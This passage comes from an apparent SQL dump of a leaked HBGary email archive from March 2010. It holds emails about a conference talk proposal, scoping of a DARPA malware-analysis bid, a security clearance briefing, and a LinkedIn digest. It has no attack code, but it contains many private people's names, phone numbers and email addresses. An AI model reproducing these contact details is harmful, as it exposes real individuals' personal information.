Message-----\r\n> From: Scott K. Brown [mailto:sbrown@dewnet.ncsc.mil]\r\n> Sent: Wednesday, March 10, 2010 6:47 AM\r\n> To: bob@hbgary.com\r\n> Cc: Parkes, Harley (CORP)\r\n> Subject: RE: Did you want to have Aaron Barr speak at REBL?\r\n>\r\n> Bob,\r\n>\r\n> This seems like an appropriate topic.  Any chance I can see the\r\n> slides in\r\n> order to make a final decision?  We generally have more offers to\r\n> brief than\r\n> slots, and with a very focused audience (Red and Blue Team\r\n> communities), I\r\n> have to make sure that any talks fit within the overall agenda.\r\n>\r\n> Thanks,\r\n>\r\n> Scott\r\n>\r\n>\r\n>\r\n> Scott and Harley,\r\n>\r\n>\r\n>\r\n> Haven\'t heard back from you whether or not you will want Aaron Barr\r\n> to speak\r\n> at REBL.  Shown below is a short description of his proposed talk.\r\n> Would\r\n> you like to meet with him or talk on the phone?\r\n>\r\n>\r\n>\r\n> Threat Intelligence:  From software to social behaviors.\r\n>\r\n>\r\n>\r\n> This talk examines the importance of threat intelligence as it\r\n> relates to\r\n>\r\n> cybersecurity, the critical factor to developing capable cybersecurity\r\n>\r\n> solutions and having a comprehensive approach to collecting and\r\n> correlating\r\n>\r\n> a full-spectrum of cyber threat information.  Most cyber based\r\n> analysis or\r\n>\r\n> intelligence solutions look at one or at most a few factors related to\r\n>\r\n> threats.  There is no quick solution here, it requires looking at\r\n> all the\r\n>\r\n> factors and building threat models from scratch to mature our\r\n> understanding\r\n>\r\n> of the threats and their evolution.\r\n>\r\n>\r\n>\r\n> Bob Slapnik  |  Vice President  |  HBGary, Inc.\r\n>\r\n> Office 301-652-8885 x104  | Mobile 240-481-1419\r\n>\r\n> www.hbgary.com  |  bob@hbgary.com\r\n>\r\n>\r\n>\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.733 / Virus Database: 271.1.1/2733 - Release Date:\r\n> 03/09/10\r\n> 14:33:00\r\n>\r\n',16390,'aaron_hbgary_com/16390.html'),(3828,'2010-03-10','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001989.M224P3547Q3827.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Did you want to have Aaron Barr speak at REBL?','Aaron,\r\n\r\nSee below about Blue Team REBL.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Scott K. Brown [mailto:sbrown@dewnet.ncsc.mil] \r\nSent: Wednesday, March 10, 2010 6:47 AM\r\nTo: bob@hbgary.com\r\nCc: Parkes, Harley (CORP)\r\nSubject: RE: Did you want to have Aaron Barr speak at REBL?\r\n\r\nBob,\r\n\r\nThis seems like an appropriate topic.  Any chance I can see the slides in\r\norder to make a final decision?  We generally have more offers to brief than\r\nslots, and with a very focused audience (Red and Blue Team communities), I\r\nhave to make sure that any talks fit within the overall agenda.\r\n\r\nThanks,\r\n\r\nScott\r\n\r\n\r\n\r\nScott and Harley,\r\n\r\n \r\n\r\nHaven\'t heard back from you whether or not you will want Aaron Barr to speak\r\nat REBL.  Shown below is a short description of his proposed talk.  Would\r\nyou like to meet with him or talk on the phone?\r\n\r\n \r\n\r\nThreat Intelligence:  From software to social behaviors.\r\n\r\n \r\n\r\nThis talk examines the importance of threat intelligence as it relates to\r\n\r\ncybersecurity, the critical factor to developing capable cybersecurity\r\n\r\nsolutions and having a comprehensive approach to collecting and correlating\r\n\r\na full-spectrum of cyber threat information.  Most cyber based analysis or\r\n\r\nintelligence solutions look at one or at most a few factors related to\r\n\r\nthreats.  There is no quick solution here, it requires looking at all the\r\n\r\nfactors and building threat models from scratch to mature our understanding\r\n\r\nof the threats and their evolution.\r\n\r\n \r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\n\r\nwww.hbgary.com  |  bob@hbgary.com\r\n\r\n \r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2733 - Release Date: 03/09/10\r\n14:33:00\r\n\r\n',7318,'aaron_hbgary_com/7318.html'),(3829,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001989.M450320P3547Q3829.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: Proposed change for TA #1 work','I\'ll give u a call.\r\n\r\n From my iPhone\r\n\r\nOn Mar 10, 2010, at 1:54 AM, Bob Slapnik  wrote:\r\n\r\n> Aaron,\r\n>\r\n>\r\n>\r\n> When I mentioned that HBGary should research building a system to\r\n> analyze a large volume of malware you said that was not part of TA\r\n> #3 because it isn’t what DARPA wants there.  But clearly, TA #1 is t\r\n> he cross correlation across many malware samples.  That correlation\r\n> cannot happen unless the large amounts of malware are analyzed to ga\r\n> ther the low level info per malware sample.\r\n>\r\n>\r\n>\r\n> I suggest that we add into HBGary’s TA #1 SOW a scalable engine to g\r\n> rind through lots of malware.  This is something that HBGary wants t\r\n> o develop anyhow, so it would be great to get funding for it.  Sever\r\n> al gov’t agencies have asked for this kind of capability.\r\n>\r\n>\r\n>\r\n> Perhaps we could REMOVE from TA #1 the task that is AFR-like, since\r\n> as Martin said it is farfetched and will likely fail and have no\r\n> value.\r\n>\r\n>\r\n>\r\n> Another useful research topic would be how users could create their\r\n> own behavioral traits without being technical people.  I think this\r\n> would fall under TA #1.\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n',16843,'aaron_hbgary_com/16843.html'),(3830,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001989.M675692P3547Q3830.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Proposed change for TA #1 work','Bob,I am not sure what you mean by a system to analyze a large volume of malware. &nbsp;TA#1 is a cross correlation across many samples but I am not sure that a large analysis system is needed. &nbsp;GD has not built that type of infrastructure into the proposal. &nbsp;Lets talk about it but I still don\'t think it is within scope, but I could be wrong.As to the Full-code execution. &nbsp;I talked to Jason about our concerns/thoughts there and stated what our re-worked approach is. &nbsp;He said that fits within the current statement, he doesn\'t expect us to get to 100% and if we decide to pick a more refined way than he is cool with that, so that is what we are currently proposing to do iterative static and runtime recording and analysis, smart triggering, etc.AaronOn Mar 10, 2010, at 1:54 AM, Bob Slapnik wrote:Aaron,&nbsp;When I mentioned that HBGary should research building a system to analyze a large volume of malware you said that was not part of TA #3 because it isn’t what DARPA wants there.&nbsp; But clearly, TA #1 is the cross correlation across many malware samples.&nbsp; That correlation cannot happen unless the large amounts of malware are analyzed to gather the low level info per malware sample.&nbsp;I suggest that we add into HBGary’s TA #1 SOW a scalable engine to grind through lots of malware.&nbsp; This is something that HBGary wants to develop anyhow, so it would be great to get funding for it.&nbsp; Several gov’t agencies have asked for this kind of capability.&nbsp;Perhaps we could REMOVE from TA #1 the task that is AFR-like, since as Martin said it is farfetched and will likely fail and have no value.&nbsp;Another useful research topic would be how users could create their own behavioral traits without being technical people.&nbsp; I think this would fall under TA #1.&nbsp;Bob&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8826,'aaron_hbgary_com/8826.html'),(3831,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001989.M906913P3547Q3831.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Pricing Lead Sheets','will you kill me if we chance the malware physiology visualization interface to the\r\n\r\nSpecimen Analysis and Visualization Interface (SAVI)\r\n\r\nSo we have\r\nSAVI - manual analysis and visualizaiton\r\nSMART - recording tool\r\nBrain - the reasoning engine\r\n\r\nCool names huh?\r\n:)\r\n\r\nOn Mar 10, 2010, at 1:40 AM, Ted Vera wrote:\r\n\r\n> Please review attached and distribute with updated SOWs.\r\n> \r\n> tv\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5767,'aaron_hbgary_com/5767.html'),(3832,'2010-03-10','\"Willson, Jonathan G (TASC Inc)\" <Jonathan.G.Willson@tasc.com>','/aaron@hbgary.com/new/1297001990.M103872P3547Q3832.eml','aaron@hbgary.com','Security Briefing','\r\n\r\n\r\n\r\n\r\nSecurity Briefing\r\n\r\n\r\n\r\n\r\nAaron Barr,\r\n\r\nI have received notification that your clearance request has been approved. You will need to attend our security briefing for indoctrination in to your SCI accesses. This briefing is offered every week at the following times: \r\n\r\nTuesday, 8:30 am \r\n\r\nThursday, 8:30 am \r\n\r\nPlease let me know by 2:00 pm the day before the scheduled briefing which date will work best for you (reply all). All the briefings are held at 4801 Stonecroft Blvd. \r\n\r\n\r\n\r\nJonathan Willson\r\nPersonnel Security\r\nNorthrop Grumman TASC\r\n4801 Stonecroft Blvd.\r\nChantilly, VA 20151\r\n703.653.5779 (phone)\r\n\r\n703.633.8460 (fax)\r\n\r\n\r\n\r\n\r\n',12752,'aaron_hbgary_com/12752.html'),(3833,'2010-03-10','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001990.M323474P3547Q3833.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Did you want to have Aaron Barr speak at REBL?','The conference is May or June. I can get the date.  Instead of slides maybe\r\nit will be faster to draft an outline.\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 10, 2010 7:16 AM\r\nTo: Bob Slapnik\r\nSubject: Re: Did you want to have Aaron Barr speak at REBL?\r\n\r\nHmmm... By when does he need to see slides?  When is the conference?\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Mar 10, 2010, at 7:12 AM, Bob Slapnik  wrote:\r\n\r\n> Aaron,\r\n>\r\n> See below about Blue Team REBL.\r\n>\r\n> Bob\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Scott K. Brown [mailto:sbrown@dewnet.ncsc.mil]\r\n> Sent: Wednesday, March 10, 2010 6:47 AM\r\n> To: bob@hbgary.com\r\n> Cc: Parkes, Harley (CORP)\r\n> Subject: RE: Did you want to have Aaron Barr speak at REBL?\r\n>\r\n> Bob,\r\n>\r\n> This seems like an appropriate topic.  Any chance I can see the\r\n> slides in\r\n> order to make a final decision?  We generally have more offers to\r\n> brief than\r\n> slots, and with a very focused audience (Red and Blue Team\r\n> communities), I\r\n> have to make sure that any talks fit within the overall agenda.\r\n>\r\n> Thanks,\r\n>\r\n> Scott\r\n>\r\n>\r\n>\r\n> Scott and Harley,\r\n>\r\n>\r\n>\r\n> Haven\'t heard back from you whether or not you will want Aaron Barr\r\n> to speak\r\n> at REBL.  Shown below is a short description of his proposed talk.\r\n> Would\r\n> you like to meet with him or talk on the phone?\r\n>\r\n>\r\n>\r\n> Threat Intelligence:  From software to social behaviors.\r\n>\r\n>\r\n>\r\n> This talk examines the importance of threat intelligence as it\r\n> relates to\r\n>\r\n> cybersecurity, the critical factor to developing capable cybersecurity\r\n>\r\n> solutions and having a comprehensive approach to collecting and\r\n> correlating\r\n>\r\n> a full-spectrum of cyber threat information.  Most cyber based\r\n> analysis or\r\n>\r\n> intelligence solutions look at one or at most a few factors related to\r\n>\r\n> threats.  There is no quick solution here, it requires looking at\r\n> all the\r\n>\r\n> factors and building threat models from scratch to mature our\r\n> understanding\r\n>\r\n> of the threats and their evolution.\r\n>\r\n>\r\n>\r\n> Bob Slapnik  |  Vice President  |  HBGary, Inc.\r\n>\r\n> Office 301-652-8885 x104  | Mobile 240-481-1419\r\n>\r\n> www.hbgary.com  |  bob@hbgary.com\r\n>\r\n>\r\n>\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.733 / Virus Database: 271.1.1/2733 - Release Date:\r\n> 03/09/10\r\n> 14:33:00\r\n>\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2733 - Release Date: 03/09/10\r\n14:33:00\r\n\r\n',12711,'aaron_hbgary_com/12711.html'),(3834,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001990.M539088P3547Q3834.eml','\"Willson, Jonathan G (TASC Inc)\" <Jonathan.G.Willson@tasc.com>','Re: Security Briefing','I would like to do it next Tuesday if possible.ThanksAaronFrom my iPhoneOn Mar 10, 2010, at 9:31 AM, &quot;Willson, Jonathan G (TASC Inc)&quot; &lt;Jonathan.G.Willson@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron Barr,\r\n\r\nI have received notification that your clearance request has been approved. You will need to attend our security briefing for indoctrination in to your SCI accesses. This briefing is offered every week at the following times: \r\n\r\n\r\nTuesday, 8:30 am \r\n\r\nThursday, 8:30 am \r\n\r\nPlease let me know by 2:00 pm the day before the scheduled briefing which date will work best for you (reply all). All the briefings are held at 4801 Stonecroft Blvd. \r\n\r\n\r\n\r\n\r\nJonathan Willson\r\n\r\nPersonnel Security\r\n\r\nNorthrop Grumman TASC\r\n\r\n4801 Stonecroft Blvd.\r\n\r\nChantilly, VA 20151\r\n\r\n703.653.5779 (phone)\r\n\r\n703.633.8460 (fax)\r\n\r\n\r\n\r\n\r\n\r\n',15298,'aaron_hbgary_com/15298.html'),(3835,'2010-03-10','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297001990.M825697P3547Q3835.eml','\"Aaron Barr\" <aaron@hbgary.com>','Checking In','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI just wanted to check in a make sure you were getting what\r\nyou needed from Fidelis for the proposals you were working on.&nbsp; Let me know if\r\nthere is support you need from us.&nbsp; \r\n\r\n\r\nBTW &#8211; I had a very good conversation with Penny and Greg, and expect to\r\nstart making some integration progress when they get back in the office.\r\n\r\n&nbsp;\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Fidelis Security Systems\r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        David\r\n        Etue, CIPP/G\r\n        VP, Products and Markets \r\n        \r\n        \r\n        4416\r\n        East West Highway, Suite 310\r\n        Bethesda, MD\r\n        20814 \r\n        \r\n       \r\n       \r\n        \r\n        david.etue@fidelissecurity.com\r\n        http://www.fidelissecurity.com\r\n        \r\n        \r\n        \r\n        \r\n         \r\n          \r\n          tel:\r\n          \r\n          fax: \r\n          mobile: \r\n          \r\n          \r\n          (240) 396-2445 \r\n          (301) 652-7097\r\n          (202) 669-3628 \r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n    Always have my latest info\r\n    \r\n    \r\n    Want a signature like this?\r\n    \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16681,'aaron_hbgary_com/16681.html'),(3836,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001991.M312468P3547Q3837.eml','\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Fwd: Security Briefing','Whooohooooo!Begin forwarded message:From: \"Willson, Jonathan G (TASC Inc)\" &lt;Jonathan.G.Willson@tasc.com&gt;Date: March 10, 2010 9:31:02 AM ESTTo: &lt;aaron@hbgary.com&gt;Subject: Security Briefing\r\n\r\nAaron Barr,I have received notification that your clearance request has been approved. You will need to attend our security briefing for indoctrination in to your SCI accesses. This briefing is offered every week at the following times: Tuesday, 8:30 am Thursday, 8:30 am Please let me know by 2:00 pm the day before the scheduled briefing which date will work best for you (reply all). All the briefings are held at 4801 Stonecroft Blvd. Jonathan Willson\r\nPersonnel Security\r\nNorthrop Grumman TASC\r\n4801 Stonecroft Blvd.\r\nChantilly, VA 20151\r\n703.653.5779 (phone)703.633.8460 (fax)\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4172,'aaron_hbgary_com/4172.html'),(3837,'2010-03-10','\"Willson, Jonathan G (TASC Inc)\" <Jonathan.G.Willson@tasc.com>','/aaron@hbgary.com/new/1297001991.M520137P3547Q3838.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Security Briefing','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNot a problem. when you arrive, have a seat in the lobby, and at\r\n8:30 the someone will come out to escort you to the briefing.\r\n\r\n&nbsp;\r\n\r\nJonathan\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 10, 2010 9:45 AM\r\nTo: Willson, Jonathan G (TASC)\r\nSubject: Re: Security Briefing\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI would like to do it next Tuesday if possible.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 10, 2010, at 9:31 AM, &quot;Willson, Jonathan G (TASC Inc)&quot; &lt;Jonathan.G.Willson@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr,\r\n\r\nI have received notification that your\r\nclearance request has been approved. You will need to attend our security\r\nbriefing for indoctrination in to your SCI accesses. This briefing is offered\r\nevery week at the following times: \r\n\r\nTuesday, 8:30 am \r\n\r\nThursday, 8:30 am \r\n\r\nPlease let me know by 2:00 pm the day\r\nbefore the scheduled briefing which date will work best for you (reply all).\r\nAll the briefings are held at 4801 Stonecroft Blvd. \r\n\r\nJonathan Willson\r\nPersonnel\r\nSecurity\r\nNorthrop\r\nGrumman TASC\r\n4801\r\nStonecroft Blvd.\r\nChantilly,\r\nVA 20151\r\n703.653.5779\r\n(phone)\r\n\r\n703.633.8460\r\n(fax)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5833,'aaron_hbgary_com/5833.html'),(3838,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001991.M722003P3547Q3839.eml','\"Willson, Jonathan G (TASC Inc)\" <Jonathan.G.Willson@tasc.com>','Re: Security Briefing','Great. &nbsp;Do you know was Ted Vera approved as well?AaronOn Mar 10, 2010, at 10:22 AM, Willson, Jonathan G (TASC Inc) wrote:Not a problem. when you arrive, have a seat in the lobby, and at 8:30 the someone will come out to escort you to the briefing.&nbsp;Jonathan&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, March 10, 2010 9:45 AMTo:&nbsp;Willson, Jonathan G (TASC)Subject:&nbsp;Re: Security Briefing&nbsp;I would like to do it next Tuesday if possible.&nbsp;ThanksAaronFrom my iPhoneOn Mar 10, 2010, at 9:31 AM, \"Willson, Jonathan G (TASC Inc)\" &lt;Jonathan.G.Willson@tasc.com&gt; wrote:Aaron Barr,I have received notification that your clearance request has been approved. You will need to attend our security briefing for indoctrination in to your SCI accesses. This briefing is offered every week at the following times:Tuesday, 8:30 amThursday, 8:30 amPlease let me know by 2:00 pm the day before the scheduled briefing which date will work best for you (reply all). All the briefings are held at 4801 Stonecroft Blvd.Jonathan WillsonPersonnel SecurityNorthrop Grumman TASC4801 Stonecroft Blvd.Chantilly, VA 20151703.653.5779 (phone)703.633.8460 (fax)\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9498,'aaron_hbgary_com/9498.html'),(3839,'2010-03-10','\"The Intelligence Community (IC) Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297001991.M77199P3547Q3836.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Paul Wayne and other The Intelligence Community (IC) group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsMarch 10, 2010\r\n    The Intelligence Community (IC)\r\n    \r\n      New:\r\n          10 discussions\r\n      \r\n      \r\n              |\r\n             15 Jobs\r\n      \r\n      \r\n      \r\n    \r\n\r\n      \r\n    \r\n  Most Active Discussions (3)\r\n    \r\n      \r\n            Why are we going to start to &quot;payoff&quot; the Taliban? Why is this even being considered? Paying off our enemies?\r\n            137 comments  &raquo;\r\n      \r\n        Started by Brian J.\r\n        \r\n        \r\n                From a purely financial perspective, it\'s a heck of a lot cheaper than maintaining a squadron of B-1s.  From a political standpoint, it\'s...\r\n                \r\n                      More &raquo;\r\n                \r\n                  By Anthony Piti\r\n          \r\n        \r\n    \r\n    \r\n      \r\n            What do you think we should do about the global jihadisits?  With all the experts out there I\'m sure we can come up with some interesting ideas. Anyone have any outside the box thoughts?\r\n            73 comments  &raquo;\r\n      \r\n        Started by Pete McQueen\r\n        \r\n        \r\n                Personally I think there is way too much \"Nation Building\" and philosophizing going on. I think this fight should be confined to Special...\r\n                \r\n                      More &raquo;\r\n                \r\n                  By RJ Anderson\r\n          \r\n        \r\n    \r\n    \r\n      \r\n            Yesterday was another reminder why I don\'t watch CNN and the rest of that lot. I\'ll stick with the BBC.\r\n            54 comments  &raquo;\r\n      \r\n        Started by Gil Bouffard\r\n        \r\n        \r\n                I hear you Gil.  The sensationalist journalism is just awful.  Put a live camera on the scene with an idiot and see what happens....\r\n                \r\n                      More &raquo;\r\n                \r\n                  By Pete McQueen\r\n          \r\n        \r\n    \r\n\r\n      \r\nDiscussions  \r\n\r\n    \r\n      \r\n        SC Global Recruitment supports companies across a broad range of industries and markets. particularly focuses on:\r\n        Add a comment  &raquo;\r\n      Started by Paul Wayne, International Director\r\n    \r\n\r\n    \r\n      \r\n        Explicit Jihadist Appeal and Warning to Saudi Arabians\r\n        Add a comment  &raquo;\r\n      Started by Aaron Richman, Co Director at Targeted Actionable Monitoring Center\r\n    \r\n\r\n    \r\n      \r\n        FREE Forensics Seminar\r\n        Add a comment  &raquo;\r\n      Started by Jaime Salanga, Angelmar &amp; Associates LLC\r\n    \r\n\r\n    \r\n      \r\n        Bruce Carlson, Director, National Reconnaissance Office is the featured cover and interview in the upcoming April issue of Geospatial Intelligence Forum\r\n        Add a comment  &raquo;\r\n      Started by Scott Parker, Associate Publisher for Geospatial Intelligence Forum magazine\r\n    \r\n\r\n    \r\n      \r\n        Looking to connect with Information Technology professionals and Federal services providers; all applicable invitations accepted dmunro@icscorp.com\r\n        Add a comment  &raquo;\r\n      Started by Doug Munro, Manager of Recruiting with Integrated Communication Solutions\r\n    \r\n\r\n    \r\n      \r\n        In what way can the Influence Operations environment assist the army to get grip again of its role in an interangency environment?  (Read the Additional Details first).\r\n        3 comments  &raquo;\r\n      Started by Rob Sentse, Influence Operations Officer, Personal Coach, Trainer, Mediator, Consultant, Innovator, Bachelor at Social Work (B-SW)\r\n    \r\n\r\n    \r\n      \r\n        Farsi, Urdu and Dari Assistance Available\r\n        Add a comment  &raquo;\r\n      Started by Ashour Ebrahim, President &amp; CEO, Adriden Global Inc. A human intelligence, investigations and security consulting firm.\r\n    \r\n\r\n    \r\n      \r\n        Do you know where I can find an individual with the following credentials: PhD (any subject), TS/SCI with CI-Poly, and a background in HR or Diversity?\r\n        Add a comment  &raquo;\r\n      Started by Kenneth Cushing, McKinsey &amp; Company Strategy/Operations Consultant, Founder Disabled American Veterans and The Odin Group LinkedIn Groups\r\n    \r\n\r\n    \r\n      \r\n        I\'m not an intelligence Analyst, but I\'m curious, what does it take to become one? what are the strength and qualities you look for to hire one? Is the leader or follower your kinda person?\r\n        17 comments  &raquo;\r\n      Started by Maiya Jordan, Satellite Systems Engineer at Rome Research Co./ Naval Satellite Operations Center (NAVSOC)\r\n    \r\n\r\n    \r\n      \r\n        How other people see us.\r\n        3 comments  &raquo;\r\n      Started by Kerry O\'Donoghue, Open Source Intelligence Gathering/Analysis\r\n    \r\n\r\n\r\n\r\n   Job Discussions (15)\r\n       \r\n         \r\n           Supporting the Intelligence Community, clients in South West MD, and accepting resumes NOW!  I.T. positions for Security Cleared Professionals Top Secret and above...\r\n           Add a comment  &raquo;\r\n         Posted by Jay Wasylyna JWasylyna@cesfl.com, IT &amp; Defense Search Consultant\r\n       \r\n       \r\n         \r\n           JAVA Developer (with .net/C++/PeopleSoft) and active TSSCI.  DC metro.  Full time !!!!\r\n           Add a comment  &raquo;\r\n         Posted by Shauna Daly, Federal IT Recruiter\r\n       \r\n       \r\n         \r\n           Unix/Linux Admin with TSSCI.  FTE in DC metro.  Great company !\r\n           Add a comment  &raquo;\r\n         Posted by Shauna Daly, Federal IT Recruiter\r\n       \r\n       \r\n         \r\n           BEST Agile Software Development firm in the Intelligence Community - LS Poly\r\n           Add a comment  &raquo;\r\n         Posted by Mary Stanley, Owner, Stanley Reid &amp; Co - Intelligence &amp; Defense Search Consultants\r\n       \r\n       \r\n         \r\n           Technical and Business Support Executive\r\n           Add a comment  &raquo;\r\n         Posted by Doug Munro, Manager of Recruiting with Integrated Communication Solutions\r\n       \r\n       \r\n         \r\n           Special Operations Program Manager\r\n           1 comment  &raquo;\r\n         Posted by Greg Welch, Sr. Human Resources Business Partner at Draper Laboratory\r\n       \r\n       \r\n         \r\n           OO Developer: Java, C++, or other language  - Columbia, MD or Vienna, VA - CI or LS Poly needed\r\n           Add a comment  &raquo;\r\n         Posted by Ron Stanley, Intelligence &amp; Defense Search Consultant\r\n       \r\n       \r\n         \r\n           Career Growth Opportunity for:  Java Engineers, Developers, and Architects\r\n           Add a comment  &raquo;\r\n         Posted by Jay Wasylyna JWasylyna@cesfl.com, IT &amp; Defense Search Consultant\r\n       \r\n       \r\n         \r\n           Sr Engineering Consultant/Sr Systems Engineer - Ft Meade\r\nsmall company, great culture!\r\n           Add a comment  &raquo;\r\n         Posted by Andrea Wills, Staffing &amp; Recruiting Coordinator at Pilar Services, Inc\r\n       \r\n       \r\n         \r\n           $2000 Referral Bonus - Senior IT Trainer - Biometrics - Tampa, FL\r\n           Add a comment  &raquo;\r\n         Posted by Deb Yeagle, Senior Program Manager / Engineer at Fulcrum IT Services Company\r\n       \r\n       \r\n         \r\n           Software Engineer Developer Programmer\r\n           Add a comment  &raquo;\r\n         Posted by Brooke McNierney, Senior Research Associate at Alidade Incorporated\r\n       \r\n       \r\n         \r\n           Technical Program/Project Managers\r\n           Add a comment  &raquo;\r\n         Posted by Andrew Rafey, Sr. Lead Technical Recruiter-CCR at CACI\r\n       \r\n       \r\n         \r\n           CI/HUMINT Branch Technical Support (IT Tech), TS/SCI clearance required, with 5+ years of relevant experience, for this opportunity in Stuttgart, Germany. Contact me ASAP!\r\n           Add a comment  &raquo;\r\n         Posted by Chaz Regan, Staffing and Recruiting Professional\r\n       \r\n       \r\n         \r\n           Needs TS/SCI Geopspatial Intelligence Analyst w/6+ years of exp, for a cool role in Germany. Contact me ASAP, so that we can make this go!!\r\n           Add a comment  &raquo;\r\n         Posted by Chaz Regan, Staffing and Recruiting Professional\r\n       \r\n       \r\n         \r\n           Sales/Systems Engineer - Federal Markets Division\r\n           1 comment  &raquo;\r\n         Posted by Esta Rubinstein, Senior Recruiter - Riverbed Technology\r\n       \r\n   \r\n     \r\n       \r\n         Find the best talent on LinkedIn\r\n         \r\n           Reach over 60 million top professionals\r\n           Be alerted to good matches automatically\r\n           Receive on average 30 applicants\r\n         \r\n         Get Started &raquo;\r\n       \r\n     \r\n   \r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',3774,'aaron_hbgary_com/3774.html'),(3840,'2010-03-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001991.M903023P3547Q3840.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Pricing Lead Sheets','You change the SowS\r\nI\'ll change the pricing and graphic\r\n\r\n\r\n\r\nOn Mar 10, 2010, at 7:29 AM, Aaron Barr  wrote:\r\n\r\n> will you kill me if we chance the malware physiology visualization\r\n> interface to the\r\n>\r\n> Specimen Analysis and Visualization Interface (SAVI)\r\n>\r\n> So we have\r\n> SAVI - manual analysis and visualizaiton\r\n> SMART - recording tool\r\n> Brain - the reasoning engine\r\n>\r\n> Cool names huh?\r\n> :)\r\n>\r\n> On Mar 10, 2010, at 1:40 AM, Ted Vera wrote:\r\n>\r\n>> Please review attached and distribute with updated SOWs.\r\n>>\r\n>> tv\r\n>> > Volume.xlsx>> HBGary.Cost Volume.xlsx>> Subcontractor Pricing Pikewerks.Cost Volume.xlsx>> - Cyber Genome Subcontractor Pricing SecureDecisions.Cost\r\n>> Volume.xlsx>> SRI.Cost Volume.xlsx>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',7255,'aaron_hbgary_com/7255.html'),(3841,'2010-03-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001992.M308088P3547Q3842.eml','\"Ted 